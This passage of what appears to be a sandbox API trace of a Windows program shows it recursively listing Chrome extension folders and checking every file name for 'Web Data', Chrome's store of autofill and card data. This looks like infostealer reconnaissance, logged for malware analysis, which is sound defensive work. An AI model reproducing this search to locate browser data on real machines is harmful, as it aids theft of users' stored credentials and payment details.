lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.493] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.493] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.494] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.494] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.495] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.495] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.496] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.496] StrStrIA (lpFirst="angular.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="background_script.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_game_sender.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_route_details.html", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_route_details.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_sender.js", lpSrch="Web Data") returned 0x0 [0056.496] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\cast_setup\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.496] StrStrIA (lpFirst="cast_app.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_app_min.css", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="cast_app_redirect.js", lpSrch="Web Data") returned 0x0 [0056.496] StrStrIA (lpFirst="chromecast_logo_grey.png", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="devices.html", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="index.html", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="offers.html", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="setup.html", lpSrch="Web Data") returned 0x0 [0056.497] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\cloud_route_details\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.497] StrStrIA (lpFirst="view.html", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="view.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="common.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="feedback.css", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="feedback.html", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="feedback_script.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="material_css_min.css", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="mirroring_cast_streaming.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="mirroring_common.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="mirroring_hangouts.js", lpSrch="Web Data") returned 0x0 [0056.497] StrStrIA (lpFirst="mirroring_webrtc.js", lpSrch="Web Data") returned 0x0 [0056.497] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.498] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\am\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.498] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.498] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.498] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.498] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\bn\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.499] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.499] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.500] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.500] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.501] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\fa\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\gu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.502] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.502] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\iw\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.503] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.503] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\kn\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.504] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ml\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\mr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\nb\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.505] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\pt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.506] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.506] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.506] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.506] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.506] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.506] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.506] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.506] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.506] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.506] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\sw\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5917.424.0.6_0\\_locales\\ta\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.507] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 